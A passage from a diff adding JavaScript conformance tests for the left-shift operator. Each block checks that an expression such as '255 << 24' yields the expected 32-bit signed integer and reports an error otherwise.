+ $ERROR('#732: 134217727 << 22 === -4194304. Actual: ' + (134217727 << 22));
+}
+
+
+if (268435455 << 22 !== -4194304) {
+ $ERROR('#733: 268435455 << 22 === -4194304. Actual: ' + (268435455 << 22));
+}
+
+
+if (536870911 << 22 !== -4194304) {
+ $ERROR('#734: 536870911 << 22 === -4194304. Actual: ' + (536870911 << 22));
+}
+
+
+if (1073741823 << 22 !== -4194304) {
+ $ERROR('#735: 1073741823 << 22 === -4194304. Actual: ' + (1073741823 << 22));
+}
+
+
+if (2147483647 << 22 !== -4194304) {
+ $ERROR('#736: 2147483647 << 22 === -4194304. Actual: ' + (2147483647 << 22));
+}
+
+
+if (0 << 23 !== 0) {
+ $ERROR('#737: 0 << 23 === 0. Actual: ' + (0 << 23));
+}
+
+
+if (1 << 23 !== 8388608) {
+ $ERROR('#738: 1 << 23 === 8388608. Actual: ' + (1 << 23));
+}
+
+
+if (3 << 23 !== 25165824) {
+ $ERROR('#739: 3 << 23 === 25165824. Actual: ' + (3 << 23));
+}
+
+
+if (7 << 23 !== 58720256) {
+ $ERROR('#740: 7 << 23 === 58720256. Actual: ' + (7 << 23));
+}
+
+
+if (15 << 23 !== 125829120) {
+ $ERROR('#741: 15 << 23 === 125829120. Actual: ' + (15 << 23));
+}
+
+
+if (31 << 23 !== 260046848) {
+ $ERROR('#742: 31 << 23 === 260046848. Actual: ' + (31 << 23));
+}
+
+
+if (63 << 23 !== 528482304) {
+ $ERROR('#743: 63 << 23 === 528482304. Actual: ' + (63 << 23));
+}
+
+
+if (127 << 23 !== 1065353216) {
+ $ERROR('#744: 127 << 23 === 1065353216. Actual: ' + (127 << 23));
+}
+
+
+if (255 << 23 !== 2139095040) {
+ $ERROR('#745: 255 << 23 === 2139095040. Actual: ' + (255 << 23));
+}
+
+
+if (511 << 23 !== -8388608) {
+ $ERROR('#746: 511 << 23 === -8388608. Actual: ' + (511 << 23));
+}
+
+
+if (1023 << 23 !== -8388608) {
+ $ERROR('#747: 1023 << 23 === -8388608. Actual: ' + (1023 << 23));
+}
+
+
+if (2047 << 23 !== -8388608) {
+ $ERROR('#748: 2047 << 23 === -8388608. Actual: ' + (2047 << 23));
+}
+
+
+if (4095 << 23 !== -8388608) {
+ $ERROR('#749: 4095 << 23 === -8388608. Actual: ' + (4095 << 23));
+}
+
+
+if (8191 << 23 !== -8388608) {
+ $ERROR('#750: 8191 << 23 === -8388608. Actual: ' + (8191 << 23));
+}
+
+
+if (16383 << 23 !== -8388608) {
+ $ERROR('#751: 16383 << 23 === -8388608. Actual: ' + (16383 << 23));
+}
+
+
+if (32767 << 23 !== -8388608) {
+ $ERROR('#752: 32767 << 23 === -8388608. Actual: ' + (32767 << 23));
+}
+
+
+if (65535 << 23 !== -8388608) {
+ $ERROR('#753: 65535 << 23 === -8388608. Actual: ' + (65535 << 23));
+}
+
+
+if (131071 << 23 !== -8388608) {
+ $ERROR('#754: 131071 << 23 === -8388608. Actual: ' + (131071 << 23));
+}
+
+
+if (262143 << 23 !== -8388608) {
+ $ERROR('#755: 262143 << 23 === -8388608. Actual: ' + (262143 << 23));
+}
+
+
+if (524287 << 23 !== -8388608) {
+ $ERROR('#756: 524287 << 23 === -8388608. Actual: ' + (524287 << 23));
+}
+
+
+if (1048575 << 23 !== -8388608) {
+ $ERROR('#757: 1048575 << 23 === -8388608. Actual: ' + (1048575 << 23));
+}
+
+
+if (2097151 << 23 !== -8388608) {
+ $ERROR('#758: 2097151 << 23 === -8388608. Actual: ' + (2097151 << 23));
+}
+
+
+if (4194303 << 23 !== -8388608) {
+ $ERROR('#759: 4194303 << 23 === -8388608. Actual: ' + (4194303 << 23));
+}
+
+
+if (8388607 << 23 !== -8388608) {
+ $ERROR('#760: 8388607 << 23 === -8388608. Actual: ' + (8388607 << 23));
+}
+
+
+if (16777215 << 23 !== -8388608) {
+ $ERROR('#761: 16777215 << 23 === -8388608. Actual: ' + (16777215 << 23));
+}
+
+
+if (33554431 << 23 !== -8388608) {
+ $ERROR('#762: 33554431 << 23 === -8388608. Actual: ' + (33554431 << 23));
+}
+
+
+if (67108863 << 23 !== -8388608) {
+ $ERROR('#763: 67108863 << 23 === -8388608. Actual: ' + (67108863 << 23));
+}
+
+
+if (134217727 << 23 !== -8388608) {
+ $ERROR('#764: 134217727 << 23 === -8388608. Actual: ' + (134217727 << 23));
+}
+
+
+if (268435455 << 23 !== -8388608) {
+ $ERROR('#765: 268435455 << 23 === -8388608. Actual: ' + (268435455 << 23));
+}
+
+
+if (536870911 << 23 !== -8388608) {
+ $ERROR('#766: 536870911 << 23 === -8388608. Actual: ' + (536870911 << 23));
+}
+
+
+if (1073741823 << 23 !== -8388608) {
+ $ERROR('#767: 1073741823 << 23 === -8388608. Actual: ' + (1073741823 << 23));
+}
+
+
+if (2147483647 << 23 !== -8388608) {
+ $ERROR('#768: 2147483647 << 23 === -8388608. Actual: ' + (2147483647 << 23));
+}
+
+
+if (0 << 24 !== 0) {
+ $ERROR('#769: 0 << 24 === 0. Actual: ' + (0 << 24));
+}
+
+
+if (1 << 24 !== 16777216) {
+ $ERROR('#770: 1 << 24 === 16777216. Actual: ' + (1 << 24));
+}
+
+
+if (3 << 24 !== 50331648) {
+ $ERROR('#771: 3 << 24 === 50331648. Actual: ' + (3 << 24));
+}
+
+
+if (7 << 24 !== 117440512) {
+ $ERROR('#772: 7 << 24 === 117440512. Actual: ' + (7 << 24));
+}
+
+
+if (15 << 24 !== 251658240) {
+ $ERROR('#773: 15 << 24 === 251658240. Actual: ' + (15 << 24));
+}
+
+
+if (31 << 24 !== 520093696) {
+ $ERROR('#774: 31 << 24 === 520093696. Actual: ' + (31 << 24));
+}
+
+
+if (63 << 24 !== 1056964608) {
+ $ERROR('#775: 63 << 24 === 1056964608. Actual: ' + (63 << 24));
+}
+
+
+if (127 << 24 !== 2130706432) {
+ $ERROR('#776: 127 << 24 === 2130706432. Actual: ' + (127 << 24));
+}
+
+
+if (255 << 24 !== -16777216) {
+ $ERROR('#777: 255 << 24 === -16777216. Actual: ' + (255 << 24));
+}
+
+
+if (511 << 24 !== -16777216) {
+ $ERROR('#778: 511 << 24 === -16777216. Actual: ' + (511 << 24));
+}
+
+
+if (1023 << 24 !== -16777216) {
+ $ERROR('#779: 1023 << 24 === -16777216. Actual: ' + (1023 << 24));
+}
+
+
+if (2047 << 24 !== -16777216) {
+ $ERROR('#780: 2047 << 24 === -16777216. Actual: ' + (2047 << 24));
+}
+
+
+if (4095 << 24 !== -16777216) {
+ $ERROR('#781: 4095 << 24 === -16777216. Actual: ' + (4095 << 24));
+}
+
+
+if (8191 << 24 !== -16777216) {
+ $ERROR('#782: 8191 << 24 === -16777216. Actual: ' + (8191 << 24));
+}
+
+
+if (16383 << 24 !== -16777216) {
+ $ERROR('#783: 16383 << 24 === -16777216. Actual: ' + (16383 << 24));
+}
+
+
+if (32767 << 24 !== -16777216) {
+ $ERROR('#784: 32767 << 24 === -16777216. Actual: ' + (32767 << 24));
+}
+
+
+if (65535 << 24 !== -16777216) {
+ $ERROR('#785: 65535 << 24 === -16777216. Actual: ' + (65535 << 24));
+}
+
+
+if (131071 << 24 !== -16777216) {
+ $ERROR('#786: 131071 << 24 === -16777216. Actual: ' + (131071 << 24));
+}
+
+
+if (262143 << 24 !== -16777216) {
+ $ERROR('#787: 262143 << 24 === -16777216. Actual: ' + (262143 << 24));
+}
+
+
+if (524287 << 24 !== -16777216) {
+ $ERROR('#788: 524287 << 24 === -16777216. Actual: ' + (524287 << 24));
+}
+
+
+if (1048575 << 24 !== -16777216) {
+ $ERROR('#789: 1048575 << 24 === -16777216. Actual: ' + (1048575 << 24));
+}
+
+
+if (2097151 << 24 !== -16777216) {
+ $ERROR('#790: 2097151 << 24 === -16777216. Actual: ' + (2097151 << 24));
+}
+
+
+if (4194303 << 24 !== -16777216) {
+ $ERROR('#791: 4194303 << 24 === -16777216. Actual: ' + (4194303 << 24));
+}
+
+
+if (8388607 << 24 !== -16777216) {
+ $ERROR('#792: 8388607 << 24 === -16777216. Actual: ' + (8388607 << 24));
+}
+
+
+if (16777215 << 24 !== -16777216) {
+ $ERROR('#793: 16777215 << 24 === -16777216. Actual: ' + (16777215 << 24));
+}
+
+
+if (33554431 << 24 !== -16777216) {
+ $ERROR('#794: 33554431 << 24 === -16777216. Actual: ' + (33554431 << 24));
+}
+
+
+if (67108863 << 24 !== -16777216) {
+ $ERROR('#795: 67108863 << 24 === -16777216. Actual: ' + (67108863 << 24));
+}
+
+
+if (134217727 << 24 !== -16777216) {
+ $ERROR('#796: 134217727 << 24 === -16777216. Actual: ' + (134217727 << 24));
+}
+
+
+if (268435455 << 24 !== -16777216) {
+ $ERROR('#797: 268435455 << 24 === -16777216. Actual: ' + (268435455 << 24));
+}
+
+
+if (536870911 << 24 !== -16777216) {
+ $ERROR('#798: 536870911 << 24 === -16777216. Actual: ' + (536870911 << 24));
+}
+
+
+if (1073741823 << 24 !== -16777216) {
+ $ERROR('#799: 1073741823 << 24 === -16777216. Actual: ' + (1073741823 << 24));
+}
+
+
+if (2147483647 << 24 !== -16777216) {
+ $ERROR('#800: 2147483647 << 24 === -16777216. Actual: ' + (2147483647 << 24));
+}
+
+
+if (0 << 25 !== 0) {
+ $ERROR('#801: 0 << 25 === 0. Actual: ' + (0 << 25));
+}
+
+
+if (1 << 25 !== 33554432) {
+ $ERROR('#802: 1 << 25 === 33554432. Actual: ' + (1 << 25));
+}
+
+
+if (3 << 25 !== 100663296) {
+ $ERROR('#803: 3 << 25 === 100663296. Actual: ' + (3 << 25));
+}
+
+
+if (7 << 25 !== 234881024) {
+ $ERROR('#804: 7 << 25 === 234881024. Actual: ' + (7 << 25));
+}
+
+
+if (15 << 25 !== 503316480) {
+ $ERROR('#805: 15 << 25 === 503316480. Actual: ' + (15 << 25));
+}
+
+
+if (31 << 25 !== 1040187392) {
+ $ERROR('#806: 31 << 25 === 1040187392. Actual: ' + (31 << 25));
+}
+
+
+if (63 << 25 !== 2113929216) {
+ $ERROR('#807: 63 << 25 === 2113929216. Actual: ' + (63 << 25));
+}
+
+
+if (127 << 25 !== -33554432) {
+ $ERROR('#808: 127 << 25 === -33554432. Actual: ' + (127 << 25));
+}
+
+
+if (255 << 25 !== -33554432) {
+ $ERROR('#809: 255 << 25 === -33554432. Actual: ' + (255 << 25));
+}
+
+
+if (511 << 25 !== -33554432) {
+ $ERROR('#810: 511 << 25 === -33554432. Actual: ' + (511 << 25));
+}
+
+
+if (1023 << 25 !== -33554432) {
+ $ERROR('#811: 1023 << 25 === -33554432. Actual: ' + (1023 << 25));
+}
+
+
+if (2047 << 25 !== -33554432) {
+ $ERROR('#812: 2047 << 25 === -33554432. Actual: ' + (2047 << 25));
+}
+
+
+if (4095 << 25 !== -33554432) {
+ $ERROR('#813: 4095 << 25 === -33554432. Actual: ' + (4095 << 25));
+}
+
+
+if (8191 << 25 !== -33554432) {
+ $ERROR('#814: 8191 << 25 === -33554432. Actual: ' + (8191 << 25));
+}
+
+
+if (16383 << 25 !== -33554432) {
+ $ERROR('#815: 16383 << 25 === -33554432. Actual: ' + (16383 << 25));
+}
+
+
+if (32767 << 25 !== -33554432) {
+ $ERROR('#816: 32767 << 25 === -33554432. Actual: ' + (32767 << 25));
+}
+
+
+if (65535 << 25 !== -33554432) {
+ $ERROR('#817: 65535 << 25 === -33554432. Actual: ' + (65535 << 25));
+}
+
+
+if (131071 << 25 !== -33554432) {
+ $ERROR('#818: 131071 << 25 === -33554432. Actual: ' + (131071 << 25));
+}
+
+
+if (262143 << 25 !== -33554432) {
+ $ERROR('#819: 262143 << 25 === -33554432. Actual: ' + (262143 << 25));
+}
+
+
+if (524287 << 25 !== -33554432) {
+ $ERROR('#820: 524287 << 25 === -33554432. Actual: ' + (524287 << 25));
+}
+
+
+if (1048575 << 25 !== -33554432) {
+ $ERROR('#821: 1048575 << 25 === -33554432. Actual: ' + (1048575 << 25));
+}
+
+
+if (2097151 << 25 !== -33554432) {
+ $ERROR('#822: 2097151 << 25 === -33554432. Actual: ' + (2097151 << 25));
+}
+
+
+if (4194303 << 25 !== -33554432) {
+ $ERROR('#823: 4194303 << 25 === -33554432. Actual: ' + (4194303 << 25));
+}
+
+
+if (8388607 << 25 !== -33554432) {
+ $ERROR('#824: 8388607 << 25 === -33554432. Actual: ' + (8388607 << 25));
+}
+
+
+if (16777215 << 25 !== -33554432) {
+ $ERROR('#825: 16777215 << 25 === -33554432. Actual: ' + (16777215 << 25));
+}
+
+
+if (33554431 << 25 !== -33554432) {
+ $ERROR('#826: 33554431 << 25 === -33554432. Actual: ' + (33554431 << 25));
+}
+
+
+if (67108863 << 25 !== -33554432) {
+ $ERROR('#827: 67108863 << 25 === -33554432. Actual: ' + (67108863 << 25));
+}
+
+
+if (134217727 << 25 !== -33554432) {
+ $ERROR('#828: 134217727 << 25 === -33554432. Actual: ' + (134217727 << 25));
+}
+
+
+if (268435455 << 25 !== -33554432) {
+ $ERROR('#829: 268435455 << 25 === -33554432. Actual: ' + (268435455 << 25));
+}
+
+
+if (536870911 << 25 !== -33554432) {
+ $ERROR('#830: 536870911 << 25 === -33554432. Actual: ' + (536870911 << 25));
+}
+
+
+if (1073741823 << 25 !== -33554432) {
+ $ERROR('#831: 1073741823 << 25 === -33554432. Actual: ' + (1073741823 << 25));
+}
+
+
+if (2147483647 << 25 !== -33554432) {
+ $ERROR('#832: 2147483647 << 25 === -33554432. Actual: ' + (2147483647 << 25));
+}
+
+
+if (0 << 26 !== 0) {
+ $ERROR('#833: 0 << 26 === 0. Actual: ' + (0 << 26));
+}
+
+
+if (1 << 26 !== 67108864) {
+ $ERROR('#834: 1 << 26 === 67108864. Actual: ' + (1 << 26));
+}
+
+
+if (3 << 26 !== 201326592) {
+ $ERROR('#835: 3 << 26 === 201326592. Actual: ' + (3 << 26));
+}
+
+
+if (7 << 26 !== 469762048) {
+ $ERROR('#836: 7 << 26 === 469762048. Actual: ' + (7 << 26));
+}
+
+
+if (15 << 26 !== 1006632960) {
+ $ERROR('#837: 15 << 26 === 1006632960. Actual: ' + (15 << 26));
+}
+
+
+if (31 << 26 !== 2080374784) {
+ $ERROR('#838: 31 << 26 === 2080374784. Actual: ' + (31 << 26));
+}
+
+
+if (63 << 26 !== -67108864) {
+ $ERROR('#839: 63 << 26 === -67108864. Actual: ' + (63 << 26));
+}
+
+
+if (127 << 26 !== -67108864) {
+ $ERROR('#840: 127 << 26 === -67108864. Actual: ' + (127 << 26));
+}
+
+
+if (255 << 26 !== -67108864) {
+ $ERROR('#841: 255 << 26 === -67108864. Actual: ' + (255 << 26));
+}
+
+
+if (511 << 26 !== -67108864) {
+ $ERROR('#842: 511 << 26 === -67108864. Actual: ' + (511 << 26));
+}
+
+
+if (1023 << 26 !== -67108864) {
+ $ERROR('#843: 1023 << 26 === -67108864. Actual: ' + (1023 << 26));
+}
+
+
+if (2047 << 26 !== -67108864) {
+ $ERROR('#844: 2047 << 26 === -67108864. Actual: ' + (2047 << 26));
+}
+
+
+if (4095 << 26 !== -67108864) {
+ $ERROR('#845: 4095 << 26 === -67108864. Actual: ' + (4095 << 26));
+}
+
+
+if (8191 << 26 !== -67108864) {
+ $ERROR('#846: 8191 << 26 === -67108864. Actual: ' + (8191 << 26));
+}
+
+
+if (16383 << 26 !== -67108864) {
+ $ERROR('#847: 16383 << 26 === -67108864. Actual: ' + (16383 << 26));
+}
+
+
+if (32767 << 26 !== -67108864) {
+ $ERROR('#848: 32767 << 26 === -67108864. Actual: ' + (32767 << 26));
+}
+
+
+if (65535 << 26 !== -67108864) {
+ $ERROR('#849: 65535 << 26 === -67108864. Actual: ' + (65535 << 26));
+}
+
+
+if (131071 << 26 !== -67108864) {
+ $ERROR('#850: 131071 << 26 === -67108864. Actual: ' + (131071 << 26));
+}
+
+
+if (262143 << 26 !== -67108864) {
+ $ERROR('#851: 262143 << 26 === -67108864. Actual: ' + (262143 << 26));
+}
+
+
+if (524287 << 26 !== -67108864) {
+ $ERROR('#852: 524287 << 26 === -67108864. Actual: ' + (524287 << 26));
+}
+
+
+if (1048575 << 26 !== -67108864) {
+ $ERROR('#853: 1048575 << 26 === -67108864. Actual: ' + (1048575 << 26));
+}
+
+
+if (2097151 << 26 !== -67108864) {
+ $ERROR('#854: 2097151 << 26 === -67108864. Actual: ' + (2097151 << 26));
+}
+
+
+if (4194303 << 26 !== -67108864) {
+ $ERROR('#855: 4194303 << 26 === -67108864. Actual: ' + (4194303 << 26));
+}
+
+
+if (8388607 << 26 !== -67108864) {
+ $ERROR('#856: 8388607 << 26 === -67108864. Actual: ' + (8388607 << 26));
+}
+
+
+if (16777215 << 26 !== -67108864) {
+ $ERROR('#857: 16777215 << 26 === -67108864. Actual: ' + (16777215 << 26));
+}
+
+
+if (33554431 << 26 !== -67108864) {
+ $ERROR('#858: 33554431 << 26 === -67108864. Actual: ' + (33554431 << 26));
+}
+
+
+if (67108863 << 26 !== -67108864) {
+ $ERROR('#859: 67108863 << 26 === -67108864. Actual: ' + (67108863 << 26));
+}
+
+
+if (134217727 << 26 !== -67108864) {
+ $ERROR('#860: 134217727 << 26 === -67108864. Actual: ' + (134217727 << 26));
+}
+
+
+if (268435455 << 26 !== -67108864) {
+ $ERROR('#861: 268435455 << 26 === -67108864. Actual: ' + (268435455 << 26));
+}
+
+
+if (536870911 << 26 !== -67108864) {
+ $ERROR('#862: 536870911 << 26 === -67108864. Actual: ' + (536870911 << 26));
+}
+
+
+if (1073741823 << 26 !== -67108864) {
+ $ERROR('#863: 1073741823 << 26 === -67108864. Actual: ' + (1073741823 << 26));
+}
+
+
+if (2147483647 << 26 !== -67108864) {
+ $ERROR('#864: 2147483647 << 26 === -67108864. Actual: ' + (2147483647 << 26));
+}
+
+
+if (0 << 27 !== 0) {
+ $ERROR('#865: 0 << 27 === 0. Actual: ' + (0 << 27));
+}
+
+
+if (1 << 27 !== 134217728) {
+ $ERROR('#866: 1 << 27 === 134217728. Actual: ' + (1 << 27));
+}
+
+
+if (3 << 27 !== 402653184) {
+ $ERROR('#867: 3 << 27 === 402653184. Actual: ' + (3 << 27));
+}
+
+
+if (7 << 27 !== 939524096) {
+ $ERROR('#868: 7 << 27 === 939524096. Actual: ' + (7 << 27));
+}
+
+
+if (15 << 27 !== 2013265920) {
+ $ERROR('#869: 15 << 27 === 2013265920. Actual: ' + (15 << 27));
+}
+
+
+if (31 << 27 !== -134217728) {
+ $ERROR('#870: 31 << 27 === -134217728. Actual: ' + (31 << 27));
+}
+
+
+if (63 << 27 !== -134217728) {
+ $ERROR('#871: 63 << 27 === -134217728. Actual: ' + (63 << 27));
+}
+
+
+if (127 << 27 !== -134217728) {
+ $ERROR('#872: 127 << 27 === -134217728. Actual: ' + (127 << 27));
+}
+
+
+if (255 << 27 !== -134217728) {
+ $ERROR('#873: 255 << 27 === -134217728. Actual: ' + (255 << 27));
+}
+
+
+if (511 << 27 !== -134217728) {
+ $ERROR('#874: 511 << 27 === -134217728. Actual: ' + (511 << 27));
+}
+
+
+if (1023 << 27 !== -134217728) {
+ $ERROR('#875: 1023 << 27 === -134217728. Actual: ' + (1023 << 27));
+}
+
+
+if (2047 << 27 !== -134217728) {
+ $ERROR('#876: 2047 << 27 === -134217728. Actual: ' + (2047 << 27));
+}
+
+
+if (4095 << 27 !== -134217728) {
+ $ERROR('#877: 4095 << 27 === -134217728. Actual: ' + (4095 << 27));
+}
+
+
+if (8191 << 27 !== -134217728) {
+ $ERROR('#878: 8191 << 27 === -134217728. Actual: ' + (8191 << 27));
+}
+
+
+if (16383 << 27 !== -134217728) {
+ $ERROR('#879: 16383 << 27 === -134217728. Actual: ' + (16383 << 27));
+}
+
+
+if (32767 << 27 !== -134217728) {
+ $ERROR('#880: 32767 << 27 === -134217728. Actual: ' + (32767 << 27));
+}
+
+
+if (65535 << 27 !== -134217728) {
+ $ERROR('#881: 65535 << 27 === -134217728. Actual: ' + (65535 << 27));
+}
+
+
+if (131071 << 27 !== -134217728) {
+ $ERROR('#882: 131071 << 27 === -134217728. Actual: ' + (131071 << 27));
+}
+
+
+if (262143 << 27 !== -134217728) {
+ $ERROR('#883: 262143 << 27 === -134217728. Actual: ' + (262143 << 27));
+}
+
+
+if (524287 << 27 !== -134217728) {
+ $ERROR('#884: 524287 << 27 === -134217728. Actual: ' + (524287 << 27));
+}
+
+
+if (1048575 << 27 !== -134217728) {
+ $ERROR('#885: 1048575 << 27 === -134217728. Actual: ' + (1048575 << 27));
+}
+
+
+if (2097151 << 27 !== -134217728) {
+ $ERROR('#886: 2097151 << 27 === -134217728. Actual: ' + (2097151 << 27));
+}
+
+
+if (4194303 << 27 !== -134217728) {
+ $ERROR('#887: 4194303 << 27 === -134217728. Actual: ' + (4194303 << 27));
+}
+
+
+if (8388607 << 27 !== -134217728) {
+ $ERROR('#888: 8388607 << 27 === -134217728. Actual: ' + (8388607 << 27));
+}
+
+
+if (16777215 << 27 !== -134217728) {
+ $ERROR('#889: 16777215 << 27 === -134217728. Actual: ' + (16777215 << 27));
+}
+
+
+if (33554431 << 27 !== -134217728) {
+ $ERROR('#890: 33554431 << 27 === -134217728. Actual: ' + (33554431 << 27));
+}
+
+
+if (67108863 << 27 !== -134217728) {
+ $ERROR('#891: 67108863 << 27 === -134217728. Actual: ' + (67108863 << 27));
+}
+
+
+if (134217727 << 27 !== -134217728) {
+ $ERROR('#892: 134217727 << 27 === -134217728. Actual: ' + (134217727 << 27));
+}
+
+
+if (268435455 << 27 !== -134217728) {
+ $ERROR('#893: 268435455 << 27 === -134217728. Actual: ' + (268435455 << 27));
+}
+
+
+if (536870911 << 27 !== -134217728) {
+ $ERROR('#894: 536870911 << 27 === -134217728. Actual: ' + (536870911 << 27));
+}
+
+
+if (1073741823 << 27 !== -134217728) {
+ $ERROR('#895: 1073741823 << 27 === -134217728. Actual: ' + (1073741823 << 27));
+}
+
+
+if (2147483647 << 27 !== -134217728) {
+ $ERROR('#896: 2147483647 << 27 === -134217728. Actual: ' + (2147483647 << 27));
+}
+
+
+if (0 << 28 !== 0) {
+ $ERROR('#897: 0 << 28 === 0. Actual: ' + (0 << 28));
+}
+
+
+if (1 << 28 !== 268435456) {
+ $ERROR('#898: 1 << 28 === 268435456. Actual: ' + (1 << 28));
+}
+
+
+if (3 << 28 !== 805306368) {
+ $ERROR('#899: 3 << 28 === 805306368. Actual: ' + (3 << 28));
+}
+
+
+if (7 << 28 !== 1879048192) {
+ $ERROR('#900: 7 << 28 === 1879048192. Actual: ' + (7 << 28));
+}
+
+
+if (15 << 28 !== -268435456) {
+ $ERROR('#901: 15 << 28 === -268435456. Actual: ' + (15 << 28));
+}
+
+
+if (31 << 28 !== -268435456) {
+ $ERROR('#902: 31 << 28 === -268435456. Actual: ' + (31 << 28));
+}
+
+
+if (63 << 28 !== -268435456) {
+ $ERROR('#903: 63 << 28 === -268435456. Actual: ' + (63 << 28));
+}
+
+
+if (127 << 28 !== -268435456) {
+ $ERROR('#904: 127 << 28 === -268435456. Actual: ' + (127 << 28));
+}
+
+
+if (255 << 28 !== -268435456) {
+ $ERROR('#905: 255 << 28 === -268435456. Actual: ' + (255 << 28));
+}
+
+
+if (511 << 28 !== -268435456) {
+ $ERROR('#906: 511 << 28 === -268435456. Actual: ' + (511 << 28));
+}
+
+
+if (1023 << 28 !== -268435456) {
+ $ERROR('#907: 1023 << 28 === -268435456. Actual: ' + (1023 << 28));
+}
+
+
+if (2047 << 28 !== -268435456) {
+ $ERROR('#908: 2047 << 28 === -268435456. Actual: ' + (2047 << 28));
+}
+
+
+if (4095 << 28 !== -268435456) {
+ $ERROR('#909: 4095 << 28 === -268435456. Actual: ' + (4095 << 28));
+}
+
+
+if (8191 << 28 !== -268435456) {
+ $ERROR('#910: 8191 << 28 === -268435456. Actual: ' + (8191 << 28));
+}
+
+
+if (16383 << 28 !== -268435456) {
+ $ERROR('#911: 16383 << 28 === -268435456. Actual: ' + (16383 << 28));
+}
+
+
+if (32767 << 28 !== -268435456) {
+ $ERROR('#912: 32767 << 28 === -268435456. Actual: ' + (32767 << 28));
+}
+
+
+if (65535 << 28 !== -268435456) {
+ $ERROR('#913: 65535 << 28 === -268435456. Actual: ' + (65535 << 28));
+}
+
+
+if (131071 << 28 !== -268435456) {
+ $ERROR('#914: 131071 << 28 === -268435456. Actual: ' + (131071 << 28));
+}
+
+
+if (262143 << 28 !== -268435456) {
+ $ERROR('#915: 262143 << 28 === -268435456. Actual: ' + (262143 << 28));
+}
+
+
+if (524287 << 28 !== -268435456) {
+ $ERROR('#916: 524287 << 28 === -268435456. Actual: ' + (524287 << 28));
+}
+
+
+if (1048575 << 28 !== -268435456) {
+ $ERROR('#917: 1048575 << 28 === -268435456. Actual: ' + (1048575 << 28));
+}
+
+
+if (2097151 << 28 !== -268435456) {
+ $ERROR('#918: 2097151 << 28 === -268435456. Actual: ' + (2097151 << 28));
+}
+
+
+if (4194303 << 28 !== -268435456) {
+ $ERROR('#919: 4194303 << 28 === -268435456. Actual: ' + (4194303 << 28));
+}
+
+
+if (8388607 << 28 !== -268435456) {
+ $ERROR('#920: 8388607 << 28 === -268435456. Actual: ' + (8388607 << 28));
+}
+
+
+if (16777215 << 28 !== -268435456) {
+ $ERROR('#921: 16777215 << 28 === -268435456. Actual: ' + (16777215 << 28));
+}
+
+
+if (33554431 << 28 !== -268435456) {
+ $ERROR('#922: 33554431 << 28 === -268435456. Actual: ' + (33554431 << 28));
+}
+
+
+if (67108863 << 28 !== -268435456) {
+ $ERROR('#923: 67108863 << 28 === -268435456. Actual: ' + (67108863 << 28));
+}
+
+
+if (134217727 << 28 !== -268435456) {
+ $ERROR('#924: 134217727 << 28 === -268435456. Actual: ' + (134217727 << 28));
+}
+
+
+if (268435455 << 28 !== -268435456) {
+ $ERROR('#925: 268435455 << 28 === -268435456. Actual: ' + (268435455 << 28));
+}
+
+
+if (536870911 << 28 !== -268435456) {
+ $ERROR('#926: 536870911 << 28 === -268435456. Actual: ' + (536870911 << 28));
+}
+
+
+if (1073741823 << 28 !== -268435456) {
+ $ERROR('#927: 1073741823 << 28 === -268435456. Actual: ' + (1073741823 << 28));
+}
+
+
+if (2147483647 << 28 !== -268435456) {
+ $ERROR('#928: 2147483647 << 28 === -268435456. Actual: ' + (2147483647 << 28));
+}
+
+
+if (0 << 29 !== 0) {
+ $ERROR('#929: 0 << 29 === 0. Actual: ' + (0 << 29));
+}
+
+
+if (1 << 29 !== 536870912) {
+ $ERROR('#930: 1 << 29 === 536870912. Actual: ' + (1 << 29));
+}
+
+
+if (3 << 29 !== 1610612736) {
+ $ERROR('#931: 3 << 29 === 1610612736. Actual: ' + (3 << 29));
+}
+
+
+if (7 << 29 !== -536870912) {
+ $ERROR('#932: 7 << 29 === -536870912. Actual: ' + (7 << 29));
+}
+
+
+if (15 << 29 !== -536870912) {
+ $ERROR('#933: 15 << 29 === -536870912. Actual: ' + (15 << 29));
+}
+
+
+if (31 << 29 !== -536870912) {
+ $ERROR('#934: 31 << 29 === -536870912. Actual: ' + (31 << 29));
+}
+
+
+if (63 << 29 !== -536870912) {
+ $ERROR('#935: 63 << 29 === -536870912. Actual: ' + (63 << 29));
+}
+
+
+if (127 << 29 !== -536870912) {
+ $ERROR('#936: 127 << 29 === -536870912. Actual: ' + (127 << 29));
+}
+
+
+if (255 << 29 !== -536870912) {
+ $ERROR('#937: 255 << 29 === -536870912. Actual: ' + (255 << 29));
+}
+
+
+if (511 << 29 !== -536870912) {
+ $ERROR('#938: 511 << 29 === -536870912. Actual: ' + (511 << 29));
+}
+
+
+if (1023 << 29 !== -536870912) {
+ $ERROR('#939: 1023 << 29 === -536870912. Actual: ' + (1023 << 29));
+}
+
+
+if (2047 << 29 !== -536870912) {
+ $ERROR('#940: 2047 << 29 === -536870912. Actual: ' + (2047 << 29));
+}
+
+
+if (4095 << 29 !== -536870912) {
+ $ERROR('#941: 4095 << 29 === -536870912. Actual: ' + (4095 << 29));
+}
+
+
+if (8191 << 29 !== -536870912) {
+ $ERROR('#942: 8191 << 29 === -536870912. Actual: ' + (8191 << 29));
+}
+
+
+if (16383 << 29 !== -536870912) {
+ $ERROR('#943: 16383 << 29 === -536870912. Actual: ' + (16383 << 29));
+}
+
+
+if (32767 << 29 !== -536870912) {
+ $ERROR('#944: 32767 << 29 === -536870912. Actual: ' + (32767 << 29));
+}
+
+
+if (65535 << 29 !== -536870912) {
+ $ERROR('#945: 65535 << 29 === -536870912. Actual: ' + (65535 << 29));
+}
+
+
+if (131071 << 29 !== -536870912) {
+ $ERROR('#946: 131071 << 29 === -536870912. Actual: ' + (131071 << 29));
+}
+
+
+if (262143 << 29 !== -536870912) {
+ $ERROR('#947: 262143 << 29 === -536870912. Actual: ' + (262143 << 29));
+}
+
+
+if (524287 << 29 !== -536870912) {
+ $ERROR('#948: 524287 << 29 === -536870912. Actual: ' + (524287 << 29));
+}
+
+
+if (1048575 << 29 !== -536870912) {
+ $ERROR('#949: 1048575 << 29 === -536870912. Actual: ' + (1048575 << 29));
+}
+
+
+if (2097151 << 29 !== -536870912) {
+ $ERROR('#950: 2097151 << 29 === -536870912. Actual: ' + (2097151 << 29));
+}
+
+
+if (4194303 << 29 !== -536870912) {
+ $ERROR('#951: 4194303 << 29 === -536870912. Actual: ' + (4194303 << 29));
+}
+
+
+if (8388607 << 29 !== -536870912) {
+ $ERROR('#952: 8388607 << 29 === -536870912. Actual: ' + (8388607 << 29));
+}
+
+
+if (16777215 << 29 !== -536870912) {
+ $ERROR('#953: 16777215 << 29 === -536870912. Actual: ' + (16777215 << 29));
+}
+
+
+if (33554431 << 29 !== -536870912) {
+ $ERROR('#954: 33554431 << 29 === -536870912. Actual: ' + (33554431 << 29));
+}
+
+
